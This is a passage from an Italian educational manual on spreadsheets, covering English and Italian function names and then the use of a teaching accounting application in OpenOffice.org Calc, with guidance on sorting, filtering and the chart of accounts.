	Restituisce il valore fornito come primo argomento, arrotondato per difetto (troncato), in modo da utilizzare al massimo la quantità di decimali indicata con il secondo argomento. Se la quantità di decimali è un valore negativo, si intende che l'arrotondamento deve avvenire a una certa potenza di 10. Per esempio, '**`=ARROTONDA.PER.DIF(123,45;-2)`**' restituisce 100. Questa funzione è equivalente a ***ARROTONDA.PER.DIF()***.

`ISODD(`***n***`)`
 	
`VAL.DISPARI(`***n***`)`
	Restituisce *Vero* (1) se la parte intera del valore numerico fornito come argomento è dispari; altrimenti restituisce *Falso* (0).

`ISEVEN(`***n***`)`
 	
`VAL.PARI(`***n***`)`
	Restituisce *Vero* (1) se la parte intera del valore numerico fornito come argomento è pari; altrimenti restituisce *Falso* (0).

Tabella 122.311. Elenco delle funzioni trigonometriche, comuni nei fogli elettronici, in versione inglese e in versione italiana.

Funzione	Descrizione

`ACOS(`***n***`)`
 	
`ARCCOS(`***n***`)`
	Calcola l'arco-coseno del valore fornito come argomento.

`ACOSH(`***n***`)`
 	
`ARCCOSH(`***n***`)`
	Calcola l'inversa del coseno iperbolico del valore fornito come argomento.

`ACOT(`***n***`)`
 	
`ARCCOT(`***n***`)`
	Calcola l'arco-cotangente del valore fornito come argomento.

Funzione	Descrizione

`ACOTH(`***n***`)`
 	
`ARCCOTH(`***n***`)`
	Calcola l'inversa della cotangente iperbolica del valore fornito come argomento.

`ASIN(`***n***`)`
 	
`ARCSEN(`***n***`)`
	Calcola l'arcoseno del valore fornito come argomento.

`ASINH(`***n***`)`
 	
`ARCSENH(`***n***`)`
	Calcola l'inversa del seno iperbolico del valore fornito come argomento.

`ATAN(`***n***`)`
 	
`ARCTAN(`***n***`)`
	Calcola l'arcotangente del valore fornito come argomento.

`ATANH(`***n***`)`
 	
`ARCTANH(`***n***`)`
	Calcola l'inversa della tangente iperbolica del valore fornito come argomento.

`COS(`***n***`)` `COS(`***n***`)`	Calcola il coseno del valore fornito come argomento.
`COSH(`***n***`)` `COSH(`***n***`)`	Calcola il coseno iperbolico del valore fornito come argomento.
`COT(`***n***`)` `COT(`***n***`)`	Calcola la cotangente del valore fornito come argomento.
`COTH(`***n***`)` `COTH(`***n***`)`	Calcola la cotangente iperbolica del valore fornito come argomento.

`SIN(`***n***`)`
 	
`SEN(`***n***`)`
	Calcola il seno del valore fornito come argomento.

`SINH(`***n***`)`
 	
`SENH(`***n***`)`
	Calcola il seno iperbolico del valore fornito come argomento.

`TAN(`***n***`)` `TAN(`***n***`)`	Calcola la tangente del valore fornito come argomento.

Funzione	Descrizione
`TANH(`***n***`)` `TANH(`***n***`)`	Calcola la tangente iperbolica del valore fornito come argomento.

Tabella 122.312. Elenco delle funzioni di ricerca, comuni nei fogli elettronici, in versione inglese e in versione italiana.

Funzione	Descrizione
`VLOOKUP(`***valore_cercato*, *zona_di_ricerca*,** ⟵ ↪ ***indice_della_zona*,** `0`|`1)` `CERCA.VERT(`***valore_cercato*;** ⟵ ↪ ***zona_di_ricerca*;** ⟵ ↪ ***indice_della_zona*;** `0`|`1)`	Cerca il valore corrispondente al primo argomento, nella prima colonna relativa della zona di ricerca, corrispondente al secondo argomento. Il terzo argomento è l'indice relativo alla zona e rappresenta la ***n***-esima colonna relativa, a partire da uno. L'ultimo argomento è zero se le righe della zona specificata non sono ordinate, altrimenti, uno indica che la zona ha le righe ordinate in base alla prima colonna relativa (generalmente si usa la funzione con l'ultimo argomento a zero).
`HLOOKUP(`***valore_cercato*, *zona_di_ricerca*,** ⟵ ↪ ***indice_della_zona*,** `0`|`1)` `CERCA.ORIZZ(`***valore_cercato*;** ⟵ ↪ ***zona_di_ricerca*;** ⟵ ↪ ***indice_della_zona*;** `0`|`1)`	Cerca il valore corrispondente al primo argomento, nella prima riga relativa della zona di ricerca, corrispondente al secondo argomento. Il terzo argomento è l'indice relativo alla zona e rappresenta la ***n***-esima riga relativa, a partire da uno. L'ultimo argomento è zero se le colonne della zona specificata non sono ordinate, altrimenti, uno indica che la zona ha le colonne ordinate in base alla prima riga relativa (generalmente si usa la funzione con l'ultimo argomento a zero).

[1] In questi capitoli, si usa il termine «scheda» o «foglio», in modo intercambiabile, per fare riferimento alla superficie del foglio di lavoro, identificata da un nome, all'interno della cartella di lavoro che invece rappresenta il file nel suo complesso.

[2] **OpenOffice.org** software libero: GNU GPL e GNU LGPL, oppure SISSL, con alcune porzioni di codice soggette a licenze speciali

[3] Il punto tipografico a cui ci si riferisce è pari a 1/72 di pollice. Sapendo che un pollice corrisponde a 2,54 cm, il bordo predefinito è precisamente da 0,0176 mm.

[4] Nelle versioni precedenti alla 3, di OpenOffice.org Calc, le schede venivano chiamate «tabelle» e di conseguenza questa voce aveva la denominazione «tabella».

[5] In realtà, le funzioni ***ARROTONDA.ECCESSO()*** e ***ARROTONDA.DIFETTO()*** prevedono un terzo parametro opzionale che però non viene utilizzato in questo corso.

Parte xii

Applicativo gestionale con il foglio elettronico

123 Utilizzo 8295

123.1 Organizzazione generale e accorgimenti nell'utilizzo 8297
123.2 Anagrafica azienda 8304
123.3 Contabilità generale 8305
123.4 Bilancio 8313
123.5 Clienti e fornitori 8327
123.6 Registri IVA 8331
123.7 Contabilità di magazzino 8333
123.8 Vendite 8337
123.9 Conti correnti 8344
123.10 Altre schede 8356

124 Esercitazioni con l'applicativo gestionale 8359

124.1 Codifica 8360
124.2 Esercitazione con la contabilità generale (coge1) 8365
124.3 Verifica sulla gestione della contabilità generale (coge2) 8367
124.4 Verifica guidata sulla chiusura (coge3) 8367
124.5 Verifica guidata sul bilancio (coge4) 8377
124.6 Esercitazione con la contabilità di magazzino (mag1) 8381
124.7 Verifica sulla gestione della contabilità di magazzino (mag2) 8383
124.8 Esercitazione sulla gestione delle vendite (vend1) 8383
124.9 Verifica sulla gestione dei documenti della vendita (vend2) 8387
124.10 Verifica sulla gestione dei documenti della vendita (vend3) 8388
124.11 Verifica sulla gestione dei documenti della vendita (vend4) 8389
124.12 Verifica integrata (int1) 8390
124.13 Verifica integrata (int2), guidata - prima parte 8392
124.14 Verifica integrata (int2), guidata - seconda parte 8421
124.15 Verifica integrata (int2) - terza parte 8429

Utilizzo

Capitolo 123

123.1 Organizzazione generale e accorgimenti nell'utilizzo 8297

123.1.1 Struttura 8297
123.1.2 Evitare gli spostamenti 8297
123.1.3 Cancellazione dei contenuti 8298
123.1.4 Riordino 8299
123.1.5 Filtro delle righe 8302
123.1.6 Scheda riassuntiva degli errori individuati automaticamente 8304
123.1.7 Aggiunta di nuove schede 8304

123.2 Anagrafica azienda 8304

123.3 Contabilità generale 8305

123.3.1 Prima nota 8305
123.3.2 Piano dei conti 8305
123.3.3 Giornale 8308
123.3.4 Partitario o «mastrini» 8312

123.4 Bilancio 8313

123.4.1 Situazione dei conti 8313
123.4.2 Scheda del bilancio 8314
123.4.3 Collegamento nel piano dei conti 8315
123.4.4 Esempio completo 8317
123.4.5 Correzione di un bilancio errato 8323
123.4.6 Indici di bilancio 8323
123.4.7 Bilancio manuale 8327

123.5 Clienti e fornitori 8327

123.5.1 Elenco delle banche di appoggio 8328
123.5.2 Tabelle anagrafiche di clienti e fornitori 8328
123.5.3 Libro giornale 8329
123.5.4 Partitario clienti e fornitori 8329

123.6 Registri IVA 8331

123.6.1 Codici IVA 8331
123.6.2 Registri delle fatture 8331

123.7 Contabilità di magazzino 8333

123.7.1 Articoli di magazzino 8334
123.7.2 Movimenti di magazzino 8334

123.7.3 Valorizzazione al costo medio ponderato per movimento 8335
123.7.4 Valorizzazione al costo medio ponderato per periodo 8336

123.8 Vendite 8337

123.8.1 Condizioni di pagamento 8337
123.8.2 Tipi di trasporto 8338
123.8.3 Porto franco e porto assegnato 8339
123.8.4 Aspetto dei beni trasportati 8339
123.8.5 Causali del trasporto 8339
123.8.6 Documenti di trasporto 8340
123.8.7 Fatture accompagnatorie 8340
123.8.8 Fatture immediate o differite 8341
123.8.9 Cambiali tratte 8342
123.8.10 Note di accredito 8343

123.9 Conti correnti 8344

123.9.1 Scheda del conto 8345
123.9.2 Riordino per valuta 8345
123.9.3 Compilazione del prospetto delle spese e delle competenze 8351
123.9.4 Staffa 8352
123.9.5 Descrizione di un esempio alternativo, con estinzione del conto 8353

123.10 Altre schede 8356

123.10.1 Raggruppamenti contabili 8357
123.10.2 Assegni bancari 8357
123.10.3 Cambiali generiche 8358

Viene qui descritto l'uso di un applicativo gestionale, predisposto attraverso il foglio elettronico, fatto principalmente per la contabilità generale (completa di clienti, fornitori, registri IVA e bilancio), il magazzino e la fatturazione. Naturalmente, questo lavoro si rivolge prevalentemente alla didattica, essendo organizzato proprio sulla base di esigenze di questo tipo.

Il foglio di lavoro che realizza questo applicativo gestionale viene fornito nel formato di OpenOffice.org Calc e si suggerisce di utilizzarlo come tale, senza convertirlo, perché tutte le sue funzionalità sono collaudate principalmente attraverso tale tipo di foglio elettronico. Dal momento che OpenOffice.org è software libero ed è disponibile per la maggior parte dei sistemi operativi, non si dovrebbe porre il problema di tale conversione in altri formati.

Il foglio di lavoro in questione può essere prelevato presso ⟨*allegati/gestionale/gestionale-00448.ods*⟩.

123.1 Organizzazione generale e accorgimenti nell'utilizzo

Per utilizzare correttamente il foglio di lavoro dell'applicativo gestionale descritto in questo capitolo, è necessario conoscere alcuni concetti generali che vengono descritti qui.

123.1.1 Struttura

Il foglio di lavoro è organizzato in schede; per esempio, per la contabilità generale sono indispensabili le schede '`conti`' e '`giornale`'. Le schede possono contenere delle tabelle per la codifica delle informazioni (per esempio la scheda '`conti`' contiene il piano dei conti), oppure dei documenti (per esempio la scheda '`giornale`' serve a produrre il giornale della contabilità generale).

Le aree di stampa delle varie schede sono già predisposte, in modo da produrre solo ciò che è utile effettivamente; tuttavia, durante l'uso, si possono vedere dati ulteriori che servono per dei calcoli intermedi o per facilitare il filtro successivo delle informazioni: di norma, di questi dati aggiuntivi non occorre preoccuparsi.

Il foglio di lavoro si basa su un intreccio molto complesso di formule. Naturalmente, l'utilizzatore non deve modificare queste formule; pertanto, solo nelle celle in cui vanno inseriti i dati è consentita la modifica. Tuttavia, **occorre fare molta attenzione a non inserire celle e a non spostarle, perché questo tipo di operazione implica la modifica delle formule, anche se si trovano in aree protette**.

123.1.2 Evitare gli spostamenti

Le zone in cui gli utenti possono inserire dati, all'interno delle schede del foglio di lavoro, sono evidenziate con uno sfondo leggermente grigio. Se si interviene nel foglio in modo errato, si evidenziano delle aree di colore bianco, lì dove invece dovrebbe esserci uno sfondo grigio. Le immagini seguenti mostrano l'effetto di un trascinamento di un gruppo di celle, risultante in pratica in uno spostamento (come se fosse un taglia-incolla).

Figura 123.1. L'utente si accorge di avere inserito i dati in modo non allineato, quindi seleziona il gruppo di celle C8:C10.

	B	C
3	1101	
4	1106	
5	1108	
6		
7		
8		costi di impianto
9		software
10		avviamento
11		

	B	C
3	1101	
4	1106	
5	1108	
6		
7		
8		costi di impianto
9		software
10		avviamento
11		

Figura 123.2. L'utente trascina le celle selezionate in modo da ricollocarle nella zona C3:C5, cercando poi di ripristinare il colore dello sfondo della zona C8:C10 (rimedio perfettamente inutile).

	B	C
3	1101	costi di impianto
4	1106	software
5	1108	avviamento
6		
7		
8		
9		
10		
11		

	B	C
3	1101	costi di impianto
4	1106	software
5	1108	avviamento
6		
7		
8		
9		
10		
11		

Pur con le intenzioni più buone, può capitare di spostare involontariamente un gruppo di celle, ma ciò che va evitato è di tentare di ricolorare la zona rimasta senza lo sfondo grigio: l'unica azione corretta è l'annullamento dell'operazione (*undo*).

Il procedimento corretto per poter «spostare» qualcosa, senza rischiare di modificare le formule già predisposte, consiste nel copiare le zone, provvedendo poi a cancellare i contenuti presso le coordinate originarie.

Figura 123.3. L'utente seleziona e copia il gruppo di celle C8:C10, quindi incolla a partire dalla cella C3.

	B	C
3	1101	
4	1106	
5	1108	
6		
7		
8		costi di impianto
9		software
10		avviamento
11		

	B	C
3	1101	costi di impianto
4	1106	software
5	1108	avviamento
6		
7		
8		costi di impianto
9		software
10		avviamento
11		

Figura 123.4. L'utente seleziona e cancella il contenuto delle celle C8:C10. Al termine il risultato è quello desiderato, senza interferenze con le formule esistenti.

	B	C
3	1101	costi di impianto
4	1106	software
5	1108	avviamento
6		
7		
8		costi di impianto
9		software
10		avviamento
11		

	B	C
3	1101	costi di impianto
4	1106	software
5	1108	avviamento
6		
7		
8		
9		
10		
11		

123.1.3 Cancellazione dei contenuti

Quando si cancella il contenuto di una cella o di un gruppo di queste, occorre evitare di cancellare «tutto», come a volte viene suggerito dal foglio elettronico. Con OpenOffice.org Calc, premendo il tasto [*Canc*] si ottiene un menù che richiede di specificare cosa si vuole cancellare effettivamente. Da lì, se si seleziona «tutto», oltre ai contenuti si cancella anche il formato delle celle, cosa che comprende tanti piccoli dettagli: il carattere, l'allineamento del testo, il formato di visualizzazione dei valori numerici, lo sfondo, i bordi e altro ancora. Per cancellare

i contenuti delle celle con OpenOffice.org Calc conviene usare il tasto [*Canc*], con il quale non viene presentato alcun menù e l'effetto riguarda solo i dati delle celle.

123.1.4 Riordino

Le schede del foglio di lavoro che contengono elenchi di dati, come possono essere il piano dei conti o l'anagrafica di clienti e fornitori, vanno riordinate prima di essere stampate. Il riordino riguarda solo una certa area che appare indicata in modo esplicito e va fatto generalmente per codice. Le immagini successive mostrano, per esempio, il procedimento di riordino che riguarda la scheda del piano dei conti.

Figura 123.5. L'utente ha scritto un elenco di conti in disordine, lasciando anche qualche riga inutilizzata.

	A	B	C	D	E	F	G
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna A, in modo crescente				0,00	0,00
3		0404	merci	aCI4		0,00	0,00
4		0108	avviamento			0,00	0,00
5						0,00	0,00
6						0,00	0,00
7		0207	automezzi	aBII4		0,00	0,00
8		0208	imballaggi durevoli			0,00	0,00
9		0211	fondo ammortamento fabbricati	aBII1		0,00	0,00
10		0214	fondo ammortamento attrezzature	aBII3		0,00	0,00
11		0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	0,00
12		0501	crediti v/clienti	aCII1		0,00	0,00
13		0505	cambiali attive			0,00	0,00
14		0216	fondo ammortamento arredamento	aBII4		0,00	0,00
15		0217	fondo ammortamento automezzi	aBII4		0,00	0,00
16						0,00	0,00
17		0111	fondo ammortamento costi d'impianto			0,00	0,00
18		0118	fondo ammortamento avviamento			0,00	0,00
19						0,00	0,00
20						0,00	0,00

Figura 123.6. Seguendo il suggerimento che appare nella riga numero due, l'utente seleziona la zona da riordinare, che in questo caso è limitata a B3:E19, mentre le righe successive non sono state utilizzate e non serve includerle per il riordino.

	A	B	C	D	E	F	G
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna A, in modo crescente				0,00	0,00
3		0404	merci	aCI4		0,00	0,00
4		0108	avviamento			0,00	0,00
5						0,00	0,00
6						0,00	0,00
7		0207	automezzi	aBII4		0,00	0,00
8		0208	imballaggi durevoli			0,00	0,00
9		0211	fondo ammortamento fabbricati	aBII1		0,00	0,00
10		0214	fondo ammortamento attrezzature	aBII3		0,00	0,00
11		0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	0,00
12		0501	crediti v/clienti	aCII1		0,00	0,00
13		0505	cambiali attive			0,00	0,00
14		0216	fondo ammortamento arredamento	aBII4		0,00	0,00
15		0217	fondo ammortamento automezzi	aBII4		0,00	0,00
16						0,00	0,00
17		0111	fondo ammortamento costi d'impianto			0,00	0,00
18		0118	fondo ammortamento avviamento			0,00	0,00
19						0,00	0,00
20						0,00	0,00

Figura 123.7. Selezione del criterio di ordinamento.

Criteri

Ordina per

Colonna B — (•) Crescente ( ) Decrescente

poi per

– non definito – — (•) Crescente ( ) Decrescente

poi per

– non definito – — (•) Crescente ( ) Decrescente

Figura 123.8. Dopo il riordino, fatto in modo corretto, l'elenco appare anche ricompattato (senza saltare delle righe).

	A	B	C	D	E	F	G
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				0,00	0,00
3		0108	avviamento			0,00	0,00
4		0111	fondo ammortamento costi d'impianto			0,00	0,00
5		0118	fondo ammortamento avviamento			0,00	0,00
6		0207	automezzi	aBII4		0,00	0,00
7		0208	imballaggi durevoli			0,00	0,00
8		0211	fondo ammortamento fabbricati	aBII1		0,00	0,00
9		0214	fondo ammortamento attrezzature	aBII3		0,00	0,00
10		0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	0,00
11		0216	fondo ammortamento arredamento	aBII4		0,00	0,00
12		0217	fondo ammortamento automezzi	aBII4		0,00	0,00
13		0404	merci	aCI4		0,00	0,00
14		0501	crediti v/clienti	aCII1		0,00	0,00
15		0505	cambiali attive			0,00	0,00
16						0,00	0,00
17						0,00	0,00
18						0,00	0,00
19						0,00	0,00
20						0,00	0,00

Come già accennato, il criterio di ordinamento da applicare prima delle stampe è il codice, ma durante l'uso del foglio di lavoro, si possono riordinare gli elenchi secondo altri criteri, se se ne ravvisa l'utilità. Utilizzando OpenOffice.org Calc, si riordina la zona selezionata attraverso la voce `Dati`, `Ordina`; come criterio di ordinamento va scelta la colonna (nel caso dell'esempio si tratta della colonna B) e va indicato un ordinamento crescente.

È sempre assolutamente indispensabile selezionare tutte le colonne della zona da ordinare, altrimenti il riordino rende i dati inutilizzabili. Si pensi, per esempio, a cosa succederebbe se si riordinasse soltanto la colonna che contiene il codice, senza includere le descrizioni: le descrizioni rimarrebbero al loro posto e l'elenco sarebbe così inservibile.

Figura 123.9. **Errore!** In questo caso l'utente distratto seleziona solo la zona dei codici e poi procede al riordino.

	A	B	C	D	E
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente			
3		0404	merci	aCI4	
4		0108	avviamento		
5					
6					
7		0207	automezzi	aBII4	
8		0208	imballaggi durevoli		
9		0211	fondo ammortamento fabbricati	aBII1	
10		0214	fondo ammortamento attrezzature	aBII3	
11		0215	fondo ammortamento macchine d'ufficio	aBII4	
12		0501	crediti v/clienti	aCII1	
13		0505	cambiali attive		
14		0216	fondo ammortamento arredamento	aBII4	
15		0217	fondo ammortamento automezzi	aBII4	
16					
17		0111	fondo ammortamento costi d'impianto		
18		0118	fondo ammortamento avviamento		
19					
20					

Figura 123.10. Dopo il riordino, fatto senza selezionare tutta la zona in cui è necessario intervenire, il piano dei conti diventa inservibile.

	A	B	C	D	E
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente			
3		0108	merci	aCI4	
4		0111	avviamento		
5		0118			
6		0207			
7		0208	automezzi	aBII4	
8		0211	imballaggi durevoli		
9		0214	fondo ammortamento fabbricati	aBII1	
10		0215	fondo ammortamento attrezzature	aBII3	
11		0216	fondo ammortamento macchine d'ufficio	aBII4	
12		0217	crediti v/clienti	aCII1	
13		0404	cambiali attive		
14		0501	fondo ammortamento arredamento	aBII4	
15		0505	fondo ammortamento automezzi	aBII4	
16					
17			fondo ammortamento costi d'impianto		
18			fondo ammortamento avviamento		
19					
20					

123.1.5 Filtro delle righe

Alcune schede del foglio di lavoro, prima di essere stampate, devono essere «filtrate», ovvero devono mostrare solo le righe utili. Per ottenere questo filtro delle righe, si seleziona la voce `Dati`, `Filtro`, `Filtro automatico` (eventualmente, la stessa voce può togliere un filtro esistente).

L'attivazione del filtro fa apparire dei pulsantini in corrispondenza delle celle che costituiscono la prima riga o la riga di intestazione, a seconda del contesto. A ogni pulsantino corrisponde un menù a tendina, contenente dei criteri di selezione delle righe. Per filtrare effettivamente le righe sottostanti, si deve aprire la tendina relativa alla colonna con cui si vuole stabilire il criterio di scelta delle righe, quindi occorre selezionare la voce della tendina che corrisponde al criterio desiderato.

Tutte le schede da filtrare, o che possono essere filtrate, hanno una colonna al cui interno compaiono delle «x», quando la riga corrispondente ha dati utili da stampare. In tal caso, il criterio di filtro implica la selezione delle sole righe che in quella colonna hanno una lettera «x». Le immagini successive mostrano il caso del piano dei conti.

Figura 123.11. Le voci del piano dei conti che sono utilizzate effettivamente nel libro giornale, sono evidenziate da una lettera «x» che appare sulla prima colonna della scheda. Prima di stampare il piano dei conti, dopo il riordino dei conti stessi, vanno filtrate le righe in modo da avere solo quelle che hanno una «x» nella colonna A.

	A	B	C	D	E
3		0101	costi d'impianto		
4		0108	avviamento		
5		0111	fondo ammortamento costi d'impianto		
6		0118	fondo ammortamento avviamento		
7	x	0201	fabbricati	aBII1	
8	x	0204	attrezzature	aBII3	
9	x	0205	macchine d'ufficio	aBII4	
10	x	0206	arredamento	aBII4	
11	x	0207	automezzi	aBII4	
12		0208	imballaggi durevoli		
13	x	0211	fondo ammortamento fabbricati	aBII1	
14	x	0214	fondo ammortamento attrezzature	aBII3	
15	x	0215	fondo ammortamento macchine d'ufficio	aBII4	
16	x	0216	fondo ammortamento arredamento	aBII4	
17	x	0217	fondo ammortamento automezzi	aBII4	
18		0218	fondo ammortamento imballaggi durevoli		
19	x	0404	merci	aCI4	
20	x	0501	crediti v/clienti	aCII1	
21		0505	cambiali attive		
22	x	0509	fatture da emettere	aCII1	
23	x	0540	fondo svalutazione crediti	aCII1	
24	x	0541	fondo rischi su crediti	aCII1	
25	x	0601	IVA ns/credito		

Figura 123.12. Tendina per la selezione del criterio di filtro, dove, in questo caso, si possono scegliere le righe che, in corrispondenza della colonna relativa, fanno apparire una lettera «x».

– tutto –
– standard –
– vuoto –
– non vuoto –

x

Figura 123.13. Dopo l'indicazione del criterio di filtro, si vedono solo le righe desiderate; quindi si può procedere con la stampa della scheda.

	A	B	C	D	E
7	x	0201	fabbricati	aBII1	
8	x	0204	attrezzature	aBII3	
9	x	0205	macchine d'ufficio	aBII4	
10	x	0206	arredamento	aBII4	
11	x	0207	automezzi	aBII4	
13	x	0211	fondo ammortamento fabbricati	aBII1	
14	x	0214	fondo ammortamento attrezzature	aBII3	
15	x	0215	fondo ammortamento macchine d'ufficio	aBII4	
16	x	0216	fondo ammortamento arredamento	aBII4	
17	x	0217	fondo ammortamento automezzi	aBII4	
19	x	0404	merci	aCI4	
20	x	0501	crediti v/clienti	aCII1	
22	x	0509	fatture da emettere	aCII1	
23	x	0540	fondo svalutazione crediti	aCII1	
24	x	0541	fondo rischi su crediti	aCII1	
25	x	0601	IVA ns/credito		

Se su una scheda è stato applicato un filtro di selezione delle righe, ma occorre ritornarci sopra per fare delle modifiche, il filtro va tolto, cambiando il criterio di selezione con «tutto». Se non appaiono più i pulsantini con cui si può avere la tendina di selezione del criterio, il filtro automatico va richiesto nuovamente.

Va osservato che, in diversi casi, il criterio di filtro dipende da ciò che si fa in altre schede. Per esempio, la selezione delle voci del piano dei conti dipende dal fatto che siano state usate o meno nel libro giornale. Pertanto, occorre ricordare di aggiornare il filtro in tutte le schede che possono dipendere dai cambiamenti che si vanno ad apportare.

123.1.5.1 Formato della pagina

La configurazione del formato della pagina è indipendente per ogni scheda del foglio di lavoro. Ciò consente, per esempio, di stampare la scheda del giornale orientata orizzontalmente, mentre tutte le altre schede sono state impostate verticalmente.

Nella configurazione del formato della pagina delle varie schede non si usa l'adattamento automatico, perché questo richiederebbe poi, al momento della stampa, tempi lunghissimi di attesa per il calcolo di tale adattamento. Pertanto, l'ingrandimento o la riduzione di stampa sono fissati in percentuale, in modo esplicito.

123.1.6 Scheda riassuntiva degli errori individuati automaticamente

Alcuni tipi di errore possono essere individuati automaticamente e vengono segnalati in vario modo nelle schede del foglio di lavoro. Tuttavia, una scheda apposita riassume gli errori di tutto il figlio di lavoro. Si tratta della scheda '**`errori`**' ed è necessario verificarne il contenuto prima di concludere un lavoro con il foglio.

123.1.7 Aggiunta di nuove schede

Il foglio di lavoro ha un insieme limitato di schede, ma in alcuni casi, le schede esistenti possono essere duplicate, con la relativa tranquillità che le formule siano generate correttamente, come ci si aspetta che sia.

Le schede che possono essere duplicate sono quelle che hanno già un nome che termina con un numero. Si tratta precisamente di '**`m1`**', '**`c1`**', '**`f1`**', '**`cmpm1`**' e '**`cmpp1`**'.

Una volta duplicata una scheda di questo tipo, occorre ridefinire l'area di stampa e probabilmente è necessario riattivare la protezione delle celle per la tabella. Va comunque verificata l'impaginazione con l'anteprima di stampa.

Per duplicare una scheda di questo tipo, si può creare una nuova scheda, le si può attribuire il nome appropriato e quindi si può copiare tutta la scheda di origine e incollare nella destinazione a partire dalla cella A1.

Naturalmente, oltre alla duplicazione di schede già esistenti, possono essere aggiunte schede nuove per altri scopi, come per esempio il calcolo di indici di bilancio ulteriori rispetto a quelli predefiniti, oppure per la valorizzazione del magazzino secondo metodi alternativi a quelli già forniti.

123.2 Anagrafica azienda

L'anagrafica azienda, costituita dalla scheda '**`az`**', è una tabella con informazioni generali legate all'azienda. Attualmente serve per dare un'intestazione alle fatture e per definire il beneficiario delle cambiali tratte.

Figura 123.14. Anagrafica azienda, con dati di esempio.

	A	B	C	D
1	Anagrafica azienda			
2				
3		ragione sociale	Azienda per le esercitazioni	
4		indirizzo	piazza della Vittoria, 3/4	
5		cap	31100	
6		città	Treviso	
7		provincia	TV	
8		partita IVA	80011540269	
9				

123.3 Contabilità generale

Per poter annotare delle scritture di contabilità generale, è necessario prima predisporre i codici dei conti che servono, nel piano dei conti. Successivamente, avendo le scritture, è possibile produrre le schede di alcuni conti (il partitario), con il dettaglio delle operazioni che li riguardano.

123.3.1 Prima nota

La scheda denominata '**`pn`**', ovvero «prima nota», può servire per annotare delle scritture, senza vincoli di alcun genere e con la sola verifica della quadratura. In generale è comunque preferibile la compilazione del giornale (scheda '**`giornale`**'), dopo la codifica dei conti nel piano dei conti (scheda '**`conti`**').

Figura 123.15. Scheda da usare, eventualmente, per stilare una prima nota di contabilità generale.

prima nota di contabilità generale					
data		descrizione	dare	avere	
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00
					0,00

123.3.2 Piano dei conti

Il piano dei conti viene inserito nella scheda '**conti**', indicando il codice e la descrizione di ogni conto. La codifica del piano dei conti può essere di qualunque tipo; pertanto, va usata preferibilmente la codifica del proprio libro di testo di economia aziendale (ragioneria).

Figura 123.16. Prima parte di un piano dei conti, dove si vedono le eccedenze calcolate automaticamente dalle scritture contenute nella scheda del giornale.

	A	B	C	D	E	F	G	H
1	x	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere	
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 497 802,77	1 497 802,77	
3		0101	costi d'impianto			0,00	0,00	
4		0108	avviamento			0,00	0,00	
5		0111	fondo ammortamento costi d'impianto			0,00	0,00	
6		0118	fondo ammortamento avviamento			0,00	0,00	
7	x	0201	fabbricati			280 000,00	0,00	
8	x	0204	attrezzature			13 000,00	0,00	
9	x	0205	macchine d'ufficio			14 000,00	0,00	
10	x	0206	arredamento			27 000,00	0,00	
11	x	0207	automezzi			27 000,00	0,00	
12		0208	imballaggi durevoli			0,00	0,00	
13	x	0211	fondo ammortamento fabbricati			0,00	47 200,00	
14	x	0214	fondo ammortamento attrezzature			0,00	13 000,00	
15	x	0215	fondo ammortamento macchine d'ufficio			0,00	11 800,00	
16	x	0216	fondo ammortamento arredamento			0,00	17 740,00	
17	x	0217	fondo ammortamento automezzi			0,00	16 900,00	
18		0218	fondo ammortamento imballaggi durevoli			0,00	0,00	
19	x	0404	merci			75 000,00	0,00	
20	x	0501	crediti v/clienti			85 100,00	0,00	
21		0505	cambiali attive			0,00	0,00	
22	x	0509	fatture da emettere			3 840,00	0,00	
23	x	0540	fondo svalutazione crediti			0,00	750,00	
24	x	0541	fondo rischi su crediti			0,00	421,75	
25	x	0601	IVA ns/credito			0,00	0,00	
26	x	0604	IVA c/acconto			0,00	0,00	

Inizialmente, nel piano dei conti si indicano solo i codici dei conti e le descrizioni rispettive, mentre in un momento successivo è possibile associare i conti alle voci di bilancio.

Prima di stampare il piano dei conti, questo va riordinato in ordine di codice (colonna B), quindi vanno filtrate le righe secondo la lettera «x» che appare in colonna A. La zona da riordinare è B3:E302, ma ci si può fermare anche a una riga inferiore, se dopo di quella non ci sono altri conti. Per attivare il filtro conviene selezionare tutta la scheda, con un clic del tasto sinistro del mouse, in corrispondenza dell'angolo in alto a sinistra dell'intestazione di riga e di colonna. In questo modo, si ottiene che i pulsantini grafici di selezione si pongano sulla prima riga della scheda.

Figura 123.17. Piano dei conti riordinato e filtrato, pronto per la stampa.

	A	B	C	D	E	F	G	H
1	x	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere	
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 497 802,77	1 497 802,77	
7	x	0201	fabbricati			280 000,00	0,00	
8	x	0204	attrezzature			13 000,00	0,00	
9	x	0205	macchine d'ufficio			14 000,00	0,00	
10	x	0206	arredamento			27 000,00	0,00	
11	x	0207	automezzi			27 000,00	0,00	
13	x	0211	fondo ammortamento fabbricati			0,00	47 200,00	
14	x	0214	fondo ammortamento attrezzature			0,00	13 000,00	
15	x	0215	fondo ammortamento macchine d'ufficio			0,00	11 800,00	
16	x	0216	fondo ammortamento arredamento			0,00	17 740,00	
17	x	0217	fondo ammortamento automezzi			0,00	16 900,00	
19	x	0404	merci			75 000,00	0,00	
20	x	0501	crediti v/clienti			85 100,00	0,00	
22	x	0509	fatture da emettere			3 840,00	0,00	
23	x	0540	fondo svalutazione crediti			0,00	750,00	
24	x	0541	fondo rischi su crediti			0,00	421,75	
25	x	0601	IVA ns/credito			0,00	0,00	
26	x	0604	IVA c/acconto			0,00	0,00	

